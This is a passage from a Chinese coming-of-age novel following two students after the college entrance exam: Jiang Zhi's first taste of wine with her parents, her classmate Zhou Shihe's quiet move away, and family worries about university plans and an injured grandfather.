徐非云笑了下,“你不是来过?你之前还吐槽说太大了,走得脚疼。”
姜至拿着话筒,目光往外看。
六月初青槐还不算特别晒,阳光倒是很足,仅仅一扇窗户就能把屋里照得暖洋洋的。
光照进客厅,又一路修长地延长至沙发一角,她伸出指尖,探向那光的一角。
她跟徐非云说:“我也想去首都。”
徐非云没有立刻说什么,只是在又一声播报响起时,她才迈步往外走。
人群熙攘间,徐非云看了眼望不到尽头的人/流,跟姜至说:“姜至,报志愿的事情不要跟你妈犟,日子还长,慢慢来。”
姜至没说什么,只轻轻一声:“哦。”
傍晚林淑下班回来后,先去了一趟三楼,回来时嘴里不知道念叨什么,姜至问她怎么了,她说:“三楼电路老化,跳闸了。”
姜至一下子有点紧张,“那要不要赶紧修啊?”
林淑闻声看了她一眼,“三楼那个单间,又没人住修什么修,租出去再说吧。”
姜至这才“哦”一声,说完意识到自己刚刚可能有些反应过激了,心虚地瞧了林淑一眼,确定她没怎么放在心上,才松口气。
“我刚刚去三楼看见周识鹤在整理试卷,还有两天时间,你还有没有什么要问人家的?”林淑忽然问姜至。
姜至挠挠头,“都这会儿了,问也没什么用吧。”
林淑“啧”一声:“再说这种不吉利的话小心我抽你啊。”
姜至立马点头如捣蒜,“知道了知道了。”
林淑叹了口气,“你说你怎么一点都不知道紧张呢?我都想替你去考了。”
姜至不知道该说什么,就默默听着。
倒是吃饭的时候,姜至想起徐非云那通电话,假装不经意地问:“我去哪儿上大学啊妈。”
林淑垂眼吃饭,没说话。
姜至咬着筷子,心跳骤然加速,她缓了一会儿,才又故作轻松地说:“我看徐非云在首都也挺好的,又是大城市,要不然我也出去见见世面吧。”
林淑这才放下筷子,姜至吓了一跳,转而看见林淑是要起身去厨房,等林淑再从厨房出来,只见她手里拿了一罐咸菜,她随意拨在旁边菜盘子里一点,这才回应姜至说:“现在先别想这些,回头连建党线都考不过去,别说首都,你看省城理不理你。”
姜至那颗七上八下的心骤然滚落心底,她声音也一同低下来:“哦。”
27.量酒量
姜至从小林淑就在她耳边念叨高考的重要性,仿佛如果高考失利,这辈子的人生就完了。所以她经常幻想高考那天的日常,她会不会起晚了,会不会突然发烧,会不会在去考试的路上被车撞,又或者考试途中突然拉肚子。
可什么都没有。
六月初的天,不冷不热,风和日丽,一切都显得普通又顺利,仿佛她只是日常地去其他学校上了两个小时的课。
中午回家她本以为自己会失眠,却没想到沾枕头就睡着了,再睁眼就是林淑喊她,她完全没有往日睡完午觉的惺忪,睁眼即清醒。
林淑和姜先舟送她去考场,她拿着准考证和笔袋跟所有人一起等在学校门口,时间刚到,工作人员负责开闸门,姜至回头跟林淑和姜先舟挥手示意,自己则顺着人/流往考场走去。
两天,只有两天,短暂地仿佛眨眼就过,姜至在最后踏出考场的瞬间才意识到,自己这两天居然没有任何的情绪起伏。
被所有人恐惧了多年的高考,居然也不过如此。
反而是离家越近的时候,姜至越心有波澜,她不知道该怎么形容自己的心情,居然不是踏实,当然也不是七上八下的忐忑,而是一种很微妙的期待与兴奋。
她能在风里嗅到清甜的味道,与天气季节无关,是青春的尾声,是成人的伊始。
回到家第一时间姜至就往三楼看去,房门是紧闭的,屋里也没开灯,看上去好像周识鹤还没回来。
姜至深吸一口气,刚要提一口满满的,身后的林淑轻飘飘给了她后脑勺一下,姜至一下子断了气,咳出声。
她略显抱怨,“干嘛。”
林淑说:“傻站着干什么,快进屋。”
姜至低低“哦”了一声,等林淑走到她前面,才又深深看了眼三楼的方向,心有不甘地进屋。
姜至等得很焦灼。
隔壁院渐渐起了大家闲聊的声音,显然是高三租户已经完全回来了,可姜至却没有见到周识鹤的身影,她坐在沙发上,看似坐得规整又老实,其实外面传来一丁点动静,她都要伸头往外看看。
林淑看见了也全当没看见。
晚饭林淑和姜先舟共同下厨为姜至做了一桌子好吃的,林淑还别有风趣地开了一瓶红酒。
姜至本来还以为是林淑觉得好不容易高考结束,她一个当妈的也能放松放松时,却不想林淑拿出了三个高脚杯。
姜至一愣,说话都不利索了,“给、给我的?”
林淑说:“不然呢?咱家还有第四个人?”
姜至“啊”一声:“我现在就要喝酒吗?”
林淑第一杯就给姜至倒上,“马上就要大学了,父母不在身边,朋友同学多了,难免会有聚会,我们也是这个年纪过来的,你们都会干些什么,我们一清二楚,与其第一次被别人灌得不知天高地厚,不如先让我们见见你的量,之后也好量力而为。”
其实说起来,姜至是个乖孩子。
她从小被林淑看得严,大多数小孩子都受不了,连陶馨偶尔都会评价林淑有点太过了,姜至本人倒觉得还好,林淑无非就是在学习上为她多下点功夫,其他倒也不会为难她。
可能也跟本人的性格有关,姜至对很多大人定义的“危险事件”都不感兴趣,她自己心里也有一杆称,知道什么事该做,什么事什么时候该做。
酒这种东西,很多人初中就接触了,姜至却一点也不感兴趣,她对酒精唯一的印象便是熏人,尤其姜先舟每次应酬回来,她都会躲得远远的。
眼下看着圆圆胖胖的通透酒杯里的红色液体,姜至不免有些抗拒地皱起小脸,“好喝吗?”
林淑说:“这个还行,我特意挑的,甜的,跟饮料差不多,你尝尝。”
姜至半信半疑地把鼻子凑近闻,出乎意料地嗅到一股清香和果甜,真的好像跟饮料差不多,她试探性地喝了一小口,入口丝滑,过喉很快反上来一股浆甜。
姜至瞬间亮了眼睛,“真的哎!”
林淑“哼笑”一声:“我还能骗你不成?你可是我亲闺女。”
姜至自然知道林淑是真心疼爱她的,她弯眸一笑,端着酒杯站了起来。
这下轮到林淑和姜先舟愣住。
林淑和姜先舟还年轻,他家条件还可以,二人此时还尚未露出那些感人作文里的白发老态,姜至自然也生不出什么特别的感慨。
她开心地笑着,跟林淑说:“恭喜你们俩一同跟我脱离无涯苦海。”
林淑闻言也笑出声,“就知道你说不出什么好话来。”
姜至“嘿嘿”一笑,欠身拿杯子跟姜先舟碰杯,“爸爸也辛苦了。”
姜先舟让她赶紧先吃菜。
过了一会儿,林淑才问:“你知道我为什么那么重视你的学习吗?”
姜至:“大家都很重视啊,这还有为什么?”
林淑说了句“傻孩子”,“这世上并非只有学习这一条路能改善人生的轨道,但是学习的思维却是无时不刻都要用到的,你学得越多,知道得越多,敬畏便也就越多,人只有有了敬畏,才能真的参透自己需要什么,不需要什么。
“姜至,你未来的路还有很长,我和你爸仍然年轻,在你人生道路上仍然拥有一定的话语权。你要清楚,这个世界上,不会有比我跟你爸对你更用心的人了,未来不管遇到什么人,做什么事,都要想想,在我跟你爸的袒护下,你过的是什么日子,人不能往下走的,知道吗?”
姜至猜想这些人生道理和课题,每个家长都会给自己的孩子上,姜至抱着酒杯,如同平日里听姜至那些耳提面命一般,左耳朵进右耳朵出。
她脸上当时还是那副乖巧模样,笑眯眯地点头,什么都说好,什么都说知道了。
之后林淑又陆陆续续说了很多话,说她对姜至这个女儿问心无愧,说她从来没有因为只有一个女儿而感到遗憾过。
她第一次跟姜至谈起自己的父母,谈及那个重男轻女,以女性献祭婚姻的吃人时代。
“你姥姥让我赶紧嫁人,拿了彩礼好给你小舅舅上学,我哪里愿意,跑得比兔子还快,宁愿一个人在外面给人家编篮子挣手工钱也不回家,他们不让我上学我就自己买书看,听新闻,找更正式更稳定的工作。”
说到这里,姜至已经迷迷糊糊趴在桌子上快要睡着,林淑坐到她身边,摸了摸她的脑袋,小声说:“姜至,你可千万不要做傻事。”
-
姜至过往的十几年从来没睡过那么沉且久的觉,睁眼的时候姜至恍惚了几秒,以为自己上学要迟到了,猛地坐起来,眼前一黑,再缓过来,她才意识到自己已经高考结束。
这次睡得那么久,是因为她喝酒了。
那甜得跟饮料似的红酒居然那么醉人吗?
姜至晃晃悠悠地打开门,林淑和姜先舟正在客厅看电视,瞧见她出来,两个人都笑了。
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“哟,醒了。”林淑调侃。
姜至发觉她高考结束最轻松的应该就是林淑了,跟她说话的口吻都变了很多,以前她哪有这待遇。
“什么啊,那酒怎么那么厉害。”姜至说。
林淑“哼笑”一声:“都是骗人的,嘴里喝着甜,后边苦的是你自己。”
姜先舟笑着说:“红酒后劲都大,你也就喝了两杯半,以后出去注意啊。”
姜至哪还敢以后,她嘟囔,“再也不喝了。”
“那是最好。”林淑说。
“几点了啊。”姜至刚刚起床都没来得及看时间。
“下午五点半。”林淑说。
姜至一愣,她慢动作地看向墙上的挂钟,只见时针稳稳当当在五和六中间。
“五点半?”姜至脑子没算明白,“哪一天?”
林淑和姜先舟同时说:“第二天。”
姜至懵了。
她甚至没顾得上跟林淑和姜先舟打招呼,转身就跑出门去了。
睡了一天一夜,姜至甚至不知道现在一副什么面貌,她没洗脸也没刷牙,头发披散着,身上的睡衣也全是褶皱。
毫无理智地跑到楼梯口,姜至蓦地停在原地,三五秒后,她毅然折返回家。
这一出一回,姜先舟都懵了,“你干什么去了?”
姜至抓抓头发,没回答他的问题,含糊不清地说句:“我先去洗脸刷牙。”
唯有林淑轻描淡写地扫了姜至一眼,什么也没说。
姜至很快把自己收拾好,换了一件简单的T恤和牛仔中裤就往外走。
姜先舟目光随她去,“又去哪儿?”
姜至本来还想糊弄,脑海里闪过徐非云之前跟她交代的话,扭过头跟林淑和姜先舟说:“去找下周识鹤,问问他考得怎么样。”
姜先舟更不理解了,“你这不问得废话吗?”
姜至:“那都是同学,好歹问问啊。”
“那他问你考得怎么样你怎么说?”姜先舟问。
姜至:“……”
“他不会的。”
说罢,姜至小跑出去了。
-
姜至像风一样,又被风卷着一路往三楼跑去,她头发仍然没扎起来,上楼的间隙里,发丝如波浪一般成片跃起,又纷纷落下。
起伏之间,尽是少女难掩的怦然。
三楼不高,又似乎有些距离,姜至一路小喘,抵达三楼的时候扶着膝盖弓身缓了两秒,又很快重新直起来往周识鹤家跑去。
房门是关着的,姜至被兴奋冲昏大脑,没顾得上礼节,直接拍了几下门。
等待的间隙里,她微微喘气,试图压制住心中的颠簸,可那点起伏偏要跟她作对,颠个没完。
姜至转而拍拍自己的胸口。
七八秒过去,门却没有开。
姜至有片刻的迟疑,眼睛盯着紧闭的大门,抿了抿唇,再次敲门。
这次有人开门了。
却不是周识鹤母子。
而是隔壁那个初中小孩的妈妈,她看到姜至笑了下,先是恭喜说:“姜至考完了吧,终于可以放松了,恭喜恭喜啊。”
姜至扯了下唇,脸上有点维持不住基本的礼貌了。她问:“周识鹤不在家吗?”
“早上就开始忙活了,说是要回老家,也不知道东西搬完了没,不过这个点不在,是不是已经走了?”
姜至愣在了原地。
28.倒计时
周识鹤从考场出来的时候感觉天阴了一瞬,他还没来得及细品,再一抬头,那片乌云已经匆匆离去,刚刚那一瞬的晦暗仿佛是他的错觉。
考场外人很多,有人大概是发挥失常,出考场就哭了,还有人满心欢喜地扑进来迎接自己的父母怀里,周识鹤并无喜怒,面不改色地穿过人群,转身之际,微微愣住。
是他的小学班主任。
“识鹤。”
班主任向他挥手示意,他身边搀扶着邓丽,邓丽脸上挂着笑,身上穿着不知从哪弄来的旗袍,颜色很鲜艳。
周识鹤恍惚了一瞬,仿佛回到了小时候。
“江老师。”周识鹤走过去。
“有段时间没见了,”江常贤说,“下午没事带你妈出去转了一圈,眼看时间快到了,就直接来接你了。”
周识鹤无言能表,最终也只道出两个无聊又乏味的,“谢谢。”
江常贤笑着拍了拍他的肩膀:“说这些。”
晚上江常贤请周识鹤和邓丽吃饭,说是提前庆祝周识鹤金榜题名,周识鹤没说什么,只是在中途去卫生间的时候提前把单买了。
回来后,周识鹤听江常贤建议邓丽尽快去首都,一定要在入学前提前适应学校周边的环境,租房子这块也要提前安排,毕竟是大城市,人/流量比青槐大得多,考虑到邓丽的身体状况和未来的摆摊相关,选址很重要。
邓丽笑着说:“我们得先回老家一趟,之后的事情等通知书下来再说吧。”
周识鹤坐过去,什么都没说。
和江常贤分开后,周识鹤带着邓丽溜达了一圈,母子二人走得都很慢,路过了熙攘的人群,渐渐抵达出租屋的小巷,小巷安静,他们沉默,只有头顶的月亮亮着浅色的皎洁,照在他们前行的路上,像冬日里晒干的银霜。
还没推开铁门,周识鹤就听见一楼姜至家里传出他们一家三口的笑,姜先舟不知道说了句什么,姜至大喊着不让他再继续讲,林淑笑的声音很大,仿佛要呛过去,姜先舟也跟着一起笑,最后传金周识鹤耳朵里的,是三个人融在一起的笑。
周识鹤低垂着目光,盯脚下的路,他和邓丽一同走得小心翼翼,直到耳边的笑声越来越远。
平日里习惯了在家里看书做题,冷不丁没事干,日子显得无聊又尴尬。
邓丽坐在一旁钩织东西,周识鹤没事做,就也跟着一起钩。
邓丽问他:“你想什么时候回?”
周识鹤沉默了片刻,没当即回答。
邓丽也没追问。
不知道过去多久,门外传来动静。
周识鹤第一时间放下手里的东西,邓丽瞥见,没抬头。
直到门外人出声:“姐,是我。”
邓丽这才抬头,她瞧了周识鹤一眼,周识鹤眼睛盯着门那处,邓丽说:“是姜至的妈妈。”
周识鹤这才“嗯”一声,起身去开门。
比林淑先进门的是一股明显的酒味,倒是不浓,反而有点香甜。
她脸上挂着笑,手里拎了一提礼,周识鹤瞥过去一眼,看见包装上写的有红酒二字。
“今天给姜至庆祝她高考结束,想到识鹤也是今天考完,上来恭喜一下,”林淑说着看向周识鹤,“我就不跟你说什么寒暄话了,想必今年的状元非你莫属了吧?”
周识鹤没说什么,邓丽接了句:“通知书不下来谁也不知道他考几分,咱现在不庆祝成绩,就庆祝考试结束,这小孩三年起早贪黑的,咱们做家长的都看在眼里,哪有不心疼的。”
“是啊,”林淑说,“虽然嘴上总说我家那孩子不争气,其实真有什么事,我第一个把命舍给她。”
“是啊,理解理解,”邓丽这才说,“哎,坐,别老站着。”
林淑笑着把东西递给周识鹤,“我就不坐了,家里小孩一整年没少累,今天好不容易卸下来,这才几点就睡着了。”
邓丽:“那是睡得蛮早的。”
“是啊,本来也该拉着小孩来跟你们打声招呼的,”林淑说,“我看她累成那样也没喊她,从小到大除了学习没让她累过,以后还不知道走什么路呢,想想我都发愁。”
说着,林淑笑着看向周识鹤,“还是你这好啊,刚考完就能准备大学的计划了,怎么样啊,是准备去首都吗?我听说那边房子可不好租,你们得提前做打算。”
“是啊,”邓丽说,“也计划了,准备先回老家一趟。”
林淑说:“是要回老家看看,哎,要车吗?我让老姜送你们吧,不过他也就这两天有空,明天你们走不?明天他空,早点晚点都行。”
邓丽笑笑,“不麻烦你们啦,在这两年本来也没少麻烦你们,不过我们也就这两天了,东西少,收拾得快。”
林淑闻声立马笑开了,“行,反正有什么需要你们说话,说起来这两年识鹤也没少帮我们姜至,要不是这两年我免了些房租什么的,我还真过意不去。”
邓丽:“都是同学,应该的。”
她们做家长的一言一语,周识鹤却在旁边只字不言,直到林淑要走,走之前说句:“哦,对了,眼下毕业季,这房子估摸着要有人来看了,我提前说一声,免得到时候太突然。”
邓丽笑着说:“行,随时来看。”
林淑走的时候把门带上来,房门缓缓关闭,邓丽脸上的笑意没退,像一张画烙在了皮上一般。
这些年他们母子总是如此,一个沉默,一个善谈,小的成绩好,老的脾气好,如此才能立足。
然而这些足迹就宛若高考倒计时的日历表,一张一张,如今撕尽了,也到了他们该离开的时候。
周识鹤终于回答出邓丽刚刚那个问题,“明天就回吧。”
邓丽望着周识鹤,良久,轻轻叹了口气。
周识鹤不再说什么,只默默地转身去收拾东西。
翌日周识鹤醒得很早,邓丽还睡着,他出门在走廊站着,晨风拂面,让人清醒,他目光望向在楼梯拐角蹲着的那只猫,它本来在洗脸,有所察觉后也朝他看来。
这两年,他们已经相熟。
它不再怕他,也不会伤他。
但也不会挽留他。
上午十点,艳阳高照。
似乎只有前两日是好天,今天夏日便开始发力,晒得人无法在外驻足太久,周识鹤背了一后背汗回屋。
邓丽已经醒了,她没问周识鹤什么时候走,也没催周识鹤有所行动。
临近十一点的时候,周识鹤接到一通电话,是陌生号码,他本以为是什么预约
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暑假补课的家长,接通听到对方的自我介绍后,微微愣了下。
挂断电话后,周识鹤跟邓丽说:“中午出去一趟。”
邓丽没问什么事,只问:“我也去吗?”
周识鹤“嗯”一声,说:“一起。”
周识鹤和邓丽路过一楼的时候,林淑正拎着一袋垃圾往外走,瞧见他们打了声招呼,邓丽寒暄了两句,周识鹤趁着林淑开门之际,往里瞧了一眼,很快又收回目光。
二人走出巷子,一辆黑色的轿车停在他们面前。
司机下车殷勤地搀扶邓丽,待母子二人上车后,司机说:“邵总本来说是亲自来的,出门前小孩突然腹泻,他送小孩去医院了,一会儿跟我们在酒店见。”
邓丽这才反应过来今天是什么事,她扭头看周识鹤,周识鹤轻轻拍了下她的手,让她安心。
酒店在一百多公里外,是个类似独栋别墅的地方,这里主打冬天温泉夏天避暑,是个度假的好去处。
周识鹤和邓丽在司机的安排下先去了提前办理好的房间,十二点半才听见门外传来匆匆的敲门声。
周识鹤去开门,见到门外的邵军。
“真是大孩子了,昨天常贤跟我说的时候我还幻想你现在什么样呢,”邵军说着,大步走向屋里,跟邓丽打招呼,“姐,好久不见。”
对于邵军,周识鹤和邓丽都存着很难以言喻的心情。
周广明在他的工地被他赏识,却又被他的工地夺去生命,周识鹤和邓丽因此失去顶梁柱,却又靠着他的救济与善心继续生活。
这种不纯粹的恨与感激让他们每次与邵军见面都痛苦万分。
“这次约你们也没什么大事,主要想着识鹤刚考完试,找个舒适的地方放松两天,这里离家不近不远,放松的同时又不会让人有太多压力,餐饮各方面也不错,我准备入股,你们就全当帮我做个调研,”邵军说着看向周识鹤,“你小子可以啊,怎么样,想好去哪没?首都还是哪儿?我这几年生意也算没白做,各省都有能说得上话的人,你有什么需求别藏着掖着。”
周识鹤说:“还没想好。”
“是要好好想想,”邵军说,“这是大事。”
说完他从兜里掏出一张卡,邓丽和周识鹤同时看向他,他连忙解释说:“听我说,这个不是我的,这本来就是给你们的,当时给你们的赔偿金是我个人出的,当地政府和工地各个联名公司都没谈妥,这些年为这事我没少跑,其实两年前就谈妥了,钱也到位了,后来托人打听了下,看你们生活还可以,就没送来,拿钱做了投资,小赚了点,这才赶着这个节骨眼给你们送来。”
“往后日子都是花钱的地方,”邵军把卡放在床头,“我知道你们母子俩也不会跟我张口,我只能用我的办法多帮衬你们点。”
他看向周识鹤,“识鹤,首都是个好地方,她能容纳很多人的梦想,也能兜住很多人的才华,如此繁华的地方,花钱是少不了的,时间也是不等人的,要早做打算,多去一秒,也许就能多抓住一个机遇。”
饭后邓丽回房间休息,周识鹤一个人去后山的森林公园闲逛,石板路蜿蜒,看不到尽头的终点。
所有人都在劝他早日离开这座城市,而他似乎,也确实没有能留下的理由。
29.过去的
周识鹤和邓丽是分开住的,房间里有电话,邓丽有任何情况都可以随时联系周识鹤。
隔日一大早周识鹤又去了后山公园,遛了一身汗去敲邓丽的房门,此时邓丽已经开始吃早饭,是邵军特意安排人送进房间的早饭。
这边离青槐近,饮食上倒是跟青槐没什么太大的差别,主食和点心多了些隔壁市的特色,邓丽吃得开心,跟周识鹤话都不自觉多了很多。
“我跟你姥和姥爷打了电话,咱们先去他们那住几天,再回你爷爷奶奶那住两天,通知书就在爷爷奶奶那儿拿,酒席咱们就不办了,自家人找个地方吃顿饭,怎么样?”
周识鹤说都行。
邓丽瞧着周识鹤这张脸,不自觉想起过世多年的周广明,他们父子俩是一脉相承的寡言少语,办起事来却又安心可靠,老家常有传言她命苦,只有邓丽自己知道,她命好,她只是命里有遗憾。
可谁人命里没有遗憾呢。
邓丽落在周识鹤脸上的目光渐渐失焦,恍惚了一会儿,她才说:“往后的日子,就不单单只有考试成绩了,路上会有很多东西,但你只有两只手,能不能抓住,能抓多少,能力是其一,最重要的是,看你心里想抓什么。
她又笑了笑,“你长大了,我能教你的真的不多了,剩下能陪你的,只有你自己的心了,如果实在看不透自己想要什么,那就先想想自己不想要什么。”
-
周识鹤的确不知道自己想要什么,从小到大,关于生活,他没有想不想,只有能不能,能力范围内的,他争取做到最好,能力范围外的,他没有心神想。
此刻所有的毕业生想必都在庆祝自由与解放,他却满脑子浆糊,日子似乎还没有高三倒计时时轻快。
下午邓丽难得也有心思出来逛逛,周识鹤陪同她一起,俩人刚走了没百十米远,周识鹤接到了班主任江跃的电话,说是让他没事去家里一趟。
周识鹤平时跟江跃走得不近,不管是成绩上还是平时的作风上,周识鹤实在没什么江跃能够提点的,也就每年贫困补助的时候江跃能跟周识鹤唠两句家常。
这个节骨眼打电话来,周识鹤猜不到原由,江跃似乎也没有要在电话里说的意思,他便答应说明天就去。
晚上周识鹤和邓丽又待了一天,翌日一早就跟邵军打了招呼回青槐。邵军安排司机送周识鹤和邓丽,路上遇到事故堵车,只能连家都没进,超市拎点东西就去了江跃家。
按江跃的说法,他今年三十六,本命年,周识鹤不是他带的第一届学生,也不会是他带的最后一届学生,他们本来没什么特殊的感情,只是周识鹤经历与天赋都太过特别,令人印象深刻。
也让人忍不住想为他的前程花点心思,好在他未来的里程碑上描上那么一两笔属于自己的名字。
江跃听到门铃响就估摸着差不多是周识鹤到了,他看了眼墙上的日历表,叹了口气,起身去开门。
打开门,门外果然是他们母子。
江跃只听说周识鹤母亲的状况,还真没机会见她本人,今天第一次,他笑着扶人。
邓丽主动说:“江老师,这几年忙,也没上门拜访过。”
江跃笑说:“理应我上门的,我这也忙。”
俩人相视而笑,都不再拘谨。
江跃安排周识鹤母子坐在沙发上,又给他们二人分别倒了水,坐下后,他搓了搓手,有点不知该从哪儿开口,最后还是客套地问了句:“考得感觉怎么样?”
“还行,”跟江跃周识鹤没什么可谦虚的,“没什么特别的意外。”
“好,”江跃也松了口气,“那就好。”
周识鹤看着他,意为让他有话直说,江跃犹豫了下,问:“考虑好去哪个学校了吗?”
近期不少人问他这个问题,周识鹤从未明着回答过,唯有江跃这一次,他回答说:“华清吧。”
“好,考虑好就行,”江跃说,“不出意外的话,过几天应该会有校方联系你,你如果考虑清楚了,就不要再为其他条件摇摆,头衔什么的,都是虚的。”
周识鹤直觉江跃话里有话,但他没想明白江跃具体指的是什么,本来他想等回去后再给江跃打个电话仔细问问,却不想邓丽直接问:“老师,您有话直说,都这个时候,任何消息提前知道都是好事。”
江跃想,这个世界上大部分人,应该都会对邓丽有很严重的先入为主的刻板印象,比如全职妈妈,或者是单身母亲,再其次是贫困学生的贫困母亲,不管哪一种,在小县城里,都不算得上有话语权的身份。
必然也没有人,能太把她当回事。
可邓丽这一问,江跃却十分刮目相看。
他想,也许周识鹤的天赋,不仅源自最浅薄的基因遗传,更融合了她为母的贴身教导。
“好,既然这样,我就直接说了,”江跃看向周识鹤,“咱们学校每年都有外校的借读生,这点你是知道的,所以也有部分学生是保留咱们学校的学籍,实则在其他学校借读,一般这种情况都发生在成绩一般的学生里,但是今年出了例外,有一个学生,因为家庭原因,一直在省外,考试前两天才回来,回来后没入校,直接参加的考试,学校近期关心了她过往的成绩单……”
说到这里,江跃停顿了下,周识鹤感觉自己平静了许久的心神在这一瞬恍惚了一下。
他微微眨眼,目光看向江跃的严肃面孔。
他听到江跃说:“她整个高三的月考平均分比你高十分,当然这都是过往,高考具体分数还是要等分数下来才清楚,我只是……”
江跃叹了口气,“我只是想着,先给你透个消息,免得到时候真有什么接受不了的,情绪不稳定影响了择校。”
“学校这块当然还是没什么影响的,”江跃说,“无非也就是有没有状元这个头衔,奖学金这块……当然也是有点影响的,但是影响不大,人生这趟车,大家都是往前看。”
“过去的,就让它过去好了。”
-
周识鹤和邓丽前脚从江跃家里出来,后脚就接到老家镇上医院的电话,说是周识鹤的爷爷上房顶修瓦片的时候从梯子上摔下来,摔断了胳膊。
周识鹤爷爷奶奶姥姥姥爷今年才六十岁,放在老家里,没病没灾都算身子骨好的,老两口家里有地,每年靠着春种秋收过日子,邓丽和周识鹤自顾不暇,没法贴身尽孝,好在他们也自力更生,从不敢给这母子俩添什么麻烦。
如今本来是等好消息的时候,却摊上这么一件事,周识鹤爷爷躺在床上,提起来就满脸悔恨。
周识鹤奶奶也在旁边念叨:“
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都说了漏水就让他漏着,夏天又冻不着人,这下好了,这下可好了!”
老人文化水平不高,表达情绪也说不出太繁琐的词,颠来倒去就那两句话。
邓丽这两天没闲着,也没力气站着了,只能坐周识鹤爷爷的病床床尾。
周识鹤奶奶是个好脾气的人,从前为了避免发生婆媳矛盾,主动提出让周广明和邓丽去镇上做生意,后来周广明突发意外,周识鹤奶奶一直很自责,觉得自己的提议也占很大一部分责任,再加上邓丽后来生病,她一直愧对邓丽,眼下邓丽就站她旁边,她却踌躇犹豫,最后也只问一句:“你饿不饿啊丽丽?中午饭还没吃吧,我去给你们买。”
她说着要往外走,邓丽急忙叫住,“妈,别忙活了,你大孙子都那么大,真要买东西也轮不到你,识鹤,快问问爷爷奶奶想吃什么。”
邓丽这么一说,周识鹤奶奶就开始抹眼泪,嘴里翻来覆去都是那句:“是我们姓周的对不起你。”
周识鹤从小对爷爷奶奶的印象就像一掊黄土,人微言轻,却又很容易迷了人眼。
他本来就是个话少的人,这种情况下更是不知道该说什么,只能默默起身,照邓丽说得做。
他找个凳子,让奶奶坐过去,又到病床前,弯腰欠身帮爷爷调整好点滴的速度,问他想吃什么,老人对待自己总是刻薄,他问不出什么,只能自己出去买。
饭后爷爷在床上躺着,奶奶就在一旁坐着扣手,没一会儿就要回家,说家里有鸡要喂,狗也要看着,长时间家里没人容易碰上偷狗的。
总之就是不能在这闲着。
邓丽没办法,就让周识鹤出门找车,可奶奶哪里舍得花这钱,说这么点距离,走走就回去了。
邓丽强行让周识鹤把人送到车上,等周识鹤再回来的时候,少年脸上不知何时蒙上了一层灰色。
他没进病房,在房外找个空着的休息椅坐着,少年个高背阔,此刻却也只能佝偻着腰身,宛若身上压了些什么。
邓丽坐过去,与他一同沉默着。
半晌,是周识鹤先开的口。
他说:“妈,你别想着留下来了,跟我一起去首都吧。”
他知道邓丽昨天那番话不仅是想提点他什么,更想表达的是她不准备再“拖累”他了。
邓丽笑了笑,“那哪能啊,你爷爷奶奶姥姥姥爷都在呢,我一个人跑那么远,说出去别人不笑话?”
“那我呢?”周识鹤看着他。
邓丽不笑了。
“你不一样。”她说。
“咱家又不缺钱,”邓丽说,“我也不是个能挣钱的人,去那儿没什么用,在家跟着他们一起花钱得了。”
周识鹤问:“你们舍得花吗?”
他难得言辞有些尖锐,“你现在去找个护工给爷爷,回头再找个养老院住下,我去首都就不带你了。”
邓丽沉默了。
青天白日的,一向嘈杂的医院走廊出乎意料的寂静。
夏日没有风,空气里都是消毒水的味道,人来人往间,拂到人肌肤上的是一层黏糊糊的汗液。
周识鹤弓着腰坐了一会儿,直起身来。
“青槐就不回去了,我找搬家公司把东西搬回来。”
“就这样吧。”
他说。
30.为什么
姜至失眠了。
可能是这两天昏睡太久,晚上躺在床上怎么也睡不着,翻来覆去眼前都是门缝中,周识鹤已经被收拾了一半的家。
他似乎早早就做了要离开的打算,却没有要告知她的念头。
姜至想给他打个电话,问问他为什么这样做,为什么不告诉她,又为什么要走得如此决绝,可她又能以什么身份问呢?
同学吗?同学之间更没有要告知一切行踪的义务吧。
租户吗?他们家又不拖欠房租,只要提前跟林淑打过招呼,什么时候走都是理所应当。
可他们哪里仅仅是同学与租客的关系呢?
难道过去一起走过的很多个季节都是假的吗?
姜至想不明白。
她侧身躺在床上,眼泪顺着眼角往下流,一会儿便把眼窝处堆出一个小水洼,很快又一层残酷的决堤迎来,彻底冲垮,一同滚落至柔软的枕头,浸湿浸透。
姜至是个爱哭的孩子。
听林淑说,小时候旁的小孩在医院整日睡觉,她却夜夜哭喊,必须要被人抱在怀里摇晃才能勉强睡一会儿,本来林淑计划在医院多住几天,因为她的闹腾,惹了同病房的其他人不满,她不得不早早出院。
那时家里只有林淑和姜先舟两个人,林淑的父母不露面,姜先舟的父母不喜欢女孩子,假意家里农忙,也从不来看孩子,林淑的月子坐得兵荒马乱,姜先舟也熬得人不人鬼不鬼。
林淑始终觉得姜先舟没坚持要二胎,可能跟他亲身亲历照顾姜至也有关系。
没有人带过这样的孩子之后,还想要第二个。
后来姜至长大,林淑发现她胆子也比同龄人小,小女孩胆子小点是好事,至少不会主动惹是生非,至于挨欺负的事,林淑自己觉得,只要她比别的家长多上心,也能将其规避掉。
好在这一切成长都够顺利。
越长大,姜至哭得次数便少了。
尤其遇到周识鹤以后,姜至往回想,她似乎哭的次数更是屈指可数。
她在人心惶惶的高考末端车里,遇到了那个令她心安的人。
他也曾露出,她让他有所怦然的微妙瞬间。
姜至看得出来,他有过,她又不是傻子,他前后那么明显的性格差距,他为她做过的每一份错题本,每一个画册,甚至跟在她身后走过的每一条路,这些都切切实实存在过,又不是她幻想出来的东西。
可……为什么呢?
姜至想不明白。
她哭了又哭,眼睛哭红了哭肿了,早上天光大亮,也不愿意起床。
她本以为林淑会来喊她,她都想好破罐子破摔把实话说给林淑听,可没想到林淑居然一整天都没进她的屋,姜先舟也没有过问她半句。
晚上天色暗下,林淑敲门问她要不要吃饭,姜至没说话,林淑说了句:“我跟你爸出去,饭在锅里,你起了就自己去吃。”
姜至有些恍惚。
她觉得自己不仅不了解周识鹤,甚至也快要不认识林淑了。
怎么就过去一个高考而已,所有人都变了?
姜至满心困惑地起床,她没有吃饭,而是拿座机给徐非云打了一通电话,徐非云接得倒是很快,只是语气匆忙,气喘吁吁,“喂,姜至吗?高考结束了吧,恭喜啊!”
姜至听到熟悉人的声音,嘴巴一瞥,低下头,眼泪掉在腿上,她随手抹了一下,含糊不清地“嗯”了一声。
可是徐非云没有发现她的情绪不对劲,徐非云似乎很忙,她在电话里一会儿小声说句“嗨,cathy,资料准备好了吗,我现在真的很着急”,一会儿又大声地喊一句“打印机的墨被谁掏空了?也不知道补一盒”,见缝插针间才问一句:“哎,姜至,怎么啦?”
姜至拿着座机的手持筒,眼前呼啸而过的是徐非云去年暑假骑着三轮车带她在狗市招摇而过的模样,那时早上的风很是凉爽,吹到人脸上一点也没有夏日的黏腻。
“姜至?”徐非云唤了她一句。
姜至眨了眨眼睛,从回忆中抽离,她吸了吸鼻子,咧嘴笑着说:“没事啦,你先忙吧。”
不等徐非云说什么,姜至主动先挂断了电话。
